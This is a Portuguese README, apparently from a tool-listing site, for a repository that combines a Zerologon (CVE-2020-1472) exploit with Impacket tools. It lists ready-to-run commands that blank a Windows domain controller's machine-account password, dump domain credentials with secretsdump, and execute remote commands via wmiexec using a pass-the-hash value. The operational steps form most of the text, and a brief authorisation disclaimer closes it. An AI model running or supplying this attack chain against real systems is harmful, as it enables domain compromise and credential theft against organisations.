Exploit de Combinação Zerologon e Impacket (CVE-2020-1472)

Este repositório contém uma implementação atualizada (2024) do exploit Zerologon combinado com ferramentas Impacket para explorar CVE-2020-1472 (Zerologon). Este exploit tem como alvo ambientes Windows Server para manipular senhas de contas de máquina e realizar movimentação lateral.

Características

• Explora CVE-2020-1472 (Zerologon) para definir a senha da conta de máquina do alvo como uma string vazia.
• Utiliza ferramentas Impacket para extrair credenciais e executar comandos na máquina vítima.

Requisitos

1. Python 3.x
2. Instale as dependências necessárias executando:
   root@kitploit:~

   pip install -r requirements.txt
   

Uso

Exemplo de Cenário

• Vítima: Windows Server 2016
• Atacante: Kali Linux (ou sistema Windows)

Comandos do Exploit (Kali Linux)

1. Defina a senha da conta de máquina como uma string vazia:
   root@kitploit:~

   python3 set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
   

2. Extraia segredos do Controlador de Domínio:
   root@kitploit:~

   python3 secretsdump.py -just-dc tancongmang/WIN-C9PAHHGJN91\[email protected]
   

3. Execute comandos na máquina vítima:
   root@kitploit:~

   python3 wmiexec.py tancongmang/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
   

Comandos do Exploit (Atacante Windows)

1. Defina a senha da conta de máquina como uma string vazia:
   root@kitploit:~

   python set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
   

2. Extraia segredos do Controlador de Domínio:
   root@kitploit:~

   python secretsdump.py -just-dc "tancongmang/[email protected]"
   

3. Execute comandos na máquina vítima:
   root@kitploit:~

   python wmiexec.py tancongmang/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
   

Notas

• Substitua WIN-C9PAHHGJN91 e 192.168.40.145 pelo nome do host e endereço IP reais do alvo.
• Certifique-se de ter a devida autorização antes de usar esta ferramenta.
• Esta ferramenta é apenas para fins educacionais e de teste de penetração.

Aviso Legal

Use esta ferramenta com responsabilidade. O uso não autorizado desta ferramenta para explorar sistemas sem permissão explícita é ilegal e antiético. Os autores não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta.